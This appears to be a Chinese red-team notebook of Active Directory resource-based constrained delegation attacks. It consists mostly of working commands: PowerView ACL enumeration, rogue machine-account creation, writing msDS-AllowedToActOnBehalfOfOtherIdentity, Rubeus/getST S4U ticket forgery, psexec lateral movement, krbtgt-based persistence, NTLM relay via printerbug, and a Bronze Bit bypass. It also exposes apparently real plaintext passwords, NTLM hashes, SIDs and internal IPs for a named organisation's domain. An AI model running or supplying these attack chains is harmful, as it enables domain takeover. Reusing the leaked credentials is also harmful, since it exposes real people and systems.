条件
- msDS-AllowedToActOnBehalfOfOtherIdentity 默认情况下,只有添加这个计算机的域用户和计算机本身可以修改msDS-AllowedToActOnBehalfOfOtherIdentity这个属性 而设置委派的必须是一个SPN账户,域内机器默认就是,理论上域内的服务用户也可以(只要具有SPN记录)
Account Operators组
- 获得的用户在Account Operators组 其实获得域用户之后就可以查看这个域用户对哪些机器有写权限 假设获取到的用户是sp3dadmin 密码是s.3d~ 可以使用 powerview的 Get-DomainObjectAcl
查看是否对机器有写权限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Import-Module .\powerview.ps1
//查询sp3dadmin的SID
Get-DomainUser -Identity sp3dadmin -Properties objectsid
//查看是否有对Archives2有写权限
Get-DomainObjectAcl -Identity HLSPRDDB02.s.com | ?{$_.SecurityIdentifier -match "liming的SID"}
//查看域内有可写权限得主机
Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-1648181978-695183694-701290457-8562"}
//认证
$SecPassword = ConvertTo-SecureString 'Cmx10086*' -AsPlainText -Force ; $Cred = New-Object System.Management.Automation.PSCredential('it.ln.cmcc\caomingxing', $SecPassword) ; Get-DomainUser -Domain it.ln.cmcc -Server 10.204.41.8 -Identity caomingxing -Properties objectsid -Credential $Cred
//查看域内有可写权限得主机
powerpick $SecPassword = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force ; $Cred = New-Object System.Management.Automation.PSCredential('it.ln.cmcc\DW-WANGYONGGANG', $SecPassword) ; Get-DomainObjectAcl -Domain it.ln.cmcc -Server 10.204.41.8 -Credential $Cred| ?{$_.SecurityIdentifier -match "S-1-5-21-1352180223-1996502029-1454869117-43953"}
//查找哪个机器是哪个用户加入域的
AdFind.exe -h ldapIP(dcIP) -u 用户名 -up 密码 -b "DC=shigophilo,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
//查询sid对应的用户名
///sid2user.exe 工具查询,需要把 - 去掉
sid2user.exe \\192.168.10.2 5 21 587556175 550635965 2643831430 1107
///域用户可以查询域内所有账户的sid值
wmic useraccount get /all | findstr S-1-5-21-587556175-550635965-2643831430-1107 > 2.txt
创建机器账号
- powermad.ps1
1 2 3
//创建机器帐号:0shigophilo 密码:shigophilo@123 Import-Module .\powermad.ps1 New-MachineAccount -MachineAccount 0shigophilo -Password $(ConvertTo-SecureString "shigophilo@123" -AsPlainText -Force)
- impacket
1 2
//会随机生成机器名和密码,也可以指定 addcomputer.py -dc-ip 192.168.0.9 shigophilo/zhangsan:password
- SharpAllowedToAct
直接EXE完成创建机器账号和设置约束委派
1
SharpAllowedToAct.exe
设置约束委派
- rbcd.py
1
python3 rbcd.py -dc-ip 10.6.100.60 -f 0shigophilo -t 目标机器 s.com\\username:password
- powerview ```
这里的 sid -> S-1-5-21-3298638106-3321833000-1571791979-1112
是我们创建的 机器用户 0shigophilo 的 sid,在 powerview 下用
Get-Domaincomputer 0shigophilo
获取
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList “O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)”
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer [目标主机名(WIN7)] | Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes} -Verbose |
//验证是否成功添加: Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity
1
2
3
## 请求st
+ Rubeus
//本地导出机器用户的 ntlm hash: Rubeus.exe hash /user:0shigophilo /password:shigophilo@123 /domain:xxx
//然后用 evilsystem$的 hash 请求白银票据并导入到当前会话中: Rubeus.exe s4u /user:0shigophilo$ /rc4:xxx /impersonateuser:administrator /msdsspn:cifs/dc /ptt
Rubeus.exe s4u /user:0shigophilo$ /rc4:xxx /impersonateuser:administrator /msdsspn:host/dc /ptt
1
2
3
> Rubeus 申请的票据和 impacket 申请的缓存票据有差别,测试时使用 Psexec 返回一个 shell 失败,需要再申请一个 HOST 票据。
+ getST.py
getST.py -spn cifs/Archives2.s.com -impersonate administrator -dc-ip 10.6.100.60 s.com/0shigophilo$:shigophilo\@1234
1
2
会获得一个.ccache文件
+ 导入票据
export KRB5CCNAME=rbcd/administrator.ccache
1
2
## 使用票据进行psexec,如果psexec不行,可以试试impacket中的其它exec
psexec.py -k -no-pass -dc-ip 10.6.100.60 -target-ip 10.6.100.77 Archives2.hlu.com
psexec.py -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:7692d94bcd3d6118b62045d76d0d9859 s/zj1897@10.6.100.60 psexec.py s/zj1897:kimu\&213ra@10.6.100.60
wmiexec.py -k -no-pass -
1
2
3
4
5
6
7
8
9
## 解决敏感账户不能委派
> 利用条件:知道目标的主机账户的凭证
**注:** 一般情况下主机在加入域中会随机设置主机账户的密码,所以一般情况下用的是主机账户 hash,并且不能修改主机账户的密码,否则该主机就会和域失去信任。
在域环境中,高权限用户如果没有特殊需求的情况下,考虑到安全性一般是设置为不可委派,或者是加入受保护组
在以 administrator 账户身份进行 S4U 时,只能进行 S4U2SELF,不能进行S4U2PROXY。
用 `Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/target /ptt`继续实验 administrator,发现确实是这样

解密 base64 后的票据:
rubeus.exe describe /ticker:S4Ubase64 doIFxxxxxxx
1
2
3

发现 SPN 并没有指定服务
利用 Rubeus 完成票据修改:
rubeus.exe tgssub /ticket:base64EncodeTicket /altservice:cifs/test1 /ptt
1
2
3
4
5
6
7
8
9
修改后导入内存即可。
## 利用基于资源的约束委派进行域权限维持
1. 配置evilsystem到krbtgt基于资源的约束委派
2. 配置evilsystem到域控基于资源的约束委派
这里就以第一种方法为例,下面配置evilsystem到krbtgt基于资源的约束委派
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList “O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)” $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Set-DomainObject krbtgt -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes} -Verbose
1
2
3
4
5
[](https://xzfile.aliyuncs.com/media/upload/picture/20200322120649-8ded17e6-6bf2-1.png)
尝试是否可以请求到TGT
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:krbtgt /ptt
1
2
[](https://xzfile.aliyuncs.com/media/upload/picture/20200322121221-537cc45c-6bf3-1.png)
然后利用`S4U2proxy`返回的TGT去申请一张访问域控cifs服务的ST
Rubeus.exe asktgs /user:evilsystem$ /enctype:rc4 /service:cifs/dm2012 /domain:test.local /ticket:test.kirbi /ptt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[](https://xzfile.aliyuncs.com/media/upload/picture/20200322121915-4acf27b8-6bf4-1.png)
Rubeus一个一个请求票据有点小麻烦,直接用impacket套件会快一点
[](https://xzfile.aliyuncs.com/media/upload/picture/20200322122903-a93703b0-6bf5-1.png)
成功达到了域权限维持的效果
下面展示Rubeus和impacket套件两种方法的利用的过程:
[](https://xzfile.aliyuncs.com/media/upload/picture/20200322170851-bf5fe892-6c1c-1.gif)
## 参考
https://xz.aliyun.com/t/7454#toc-3
## 利用场景
### 中继 + 委派
+ SYSTEM、iis apppool\defaultapppool、network service 三个权限可以中继(system权限)
| 配置 | 说明 | 机器名 |
| ---- | ---- | ---- |
| 域控 | 192.168.43.250 | ad.shigophilo.com |
| mssql | 192.168.43.163 | fuck.shigophilo.com |
| 攻击机kali | 192.168.43.131 | kali |
| 域用户 | zhaoliu | 密码:M... |
#### 攻击过程
+ 添加一个机器账户(SPN)(kali)
addcomputer.py -dc-ip 192.168.43.250 -computer-name zhaoliuPC shigophilo/zhaoliu:Mujizhe1984! … //zhaoliuPC$:Em3qYP9xCpnKYEBoB5vM0ft7yj6htkSE [*] Successfully added machine account zhaoliuPC$ with password Em3qYP9xCpnKYEBoB5vM0ft7yj6htkSE
1
+ 开启中继
//把连接中继机器的机器(mssql发送的smb请求是使用机器认证的)委派给zhaoliuPC$ ntlmrelayx.py -t ldap://192.168.43.250 –delegate-access –escalate-user zhaoliuPC$ -smb2support –remove-mic
1
+ mssql发起smb请求(mssql)
//无论是用sa登录还是windows认证都可以 exec master.dbo.xp_dirtree ‘\192.168.43.131\t’
1
+ Printerbug发起smb请求
python3 printerbug.py shigophilo.com/zhaoliu:M…..@192.168.43.163 192.168.43.131
1
2
+ 中继收到请求,配置基于资源的约束委派
[] SMBD-Thread-4: Connection from shigophilo/FUCK$@192.168.43.163 controlled, attacking target ldap://192.168.43.250 [] Authenticating against ldap://192.168.43.250 as shigophilo/FUCK$ SUCCEED [] Enumerating relayed user’s privileges. This may take a while on large domains [] Delegation rights modified succesfully! [*] zhaoliuPC$ can now impersonate users on FUCK$ via S4U2Proxy
1
+ 请求ST(kali)
//使用了配置委派的SPN账户(zhaoliuPC$)请求票据 getST.py -spn cifs/fuck.shigophilo.com -impersonate administrator -dc-ip 192.168.43.250 shigophilo.com/zhaoliuPC$:Em3qYP9xCpnKYEBoB5vM0ft7yj6htkSE
[] Getting TGT for user [] Impersonating administrator [] Requesting S4U2self [] Requesting S4U2Proxy [*] Saving ticket in administrator.ccache
1
+ 导入票据并远程连接
export KRB5CCNAME=administrator.ccache psexec.py -k -no-pass -dc-ip 192.168.43.250 -target-ip 192.168.43.163 fuck.shigophilo.com
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
### 提权
+ 域用户自己将自己的机器加入域

+ 提权原理
如果域用户再本机上登录中,就不需要域用户的凭证了,直接在机器上可以创建一个机器账号
1.利用自身认证凭据,创建机器账号
2.配置机器账号到域用户所在机的委派
3.使用创建的机器账号请求到域用户所在机的ST
4.psexec
## 敏感用户不能委派和仅使用kerberos的绕过
> hack 用户设置为约束委派的仅使用kerberos
> administrator用户设置为敏感账户不能委派
+ Kerberos Bronze Bit攻击(CVE-2020-17049)
**-force-forwardable**
//-force-forwardable 请求ST getST.py -dc-ip ADOl.xie.com xie.com/hack:P@ss1234 -spn cifs/ad01.xie.com -impersonate administrator -force-forwardable
//导入该票据 export KRB5CCNAME-administrator.ccache //访问域控 python3 smbexec.py -no-pass -k ad01.xie.com ```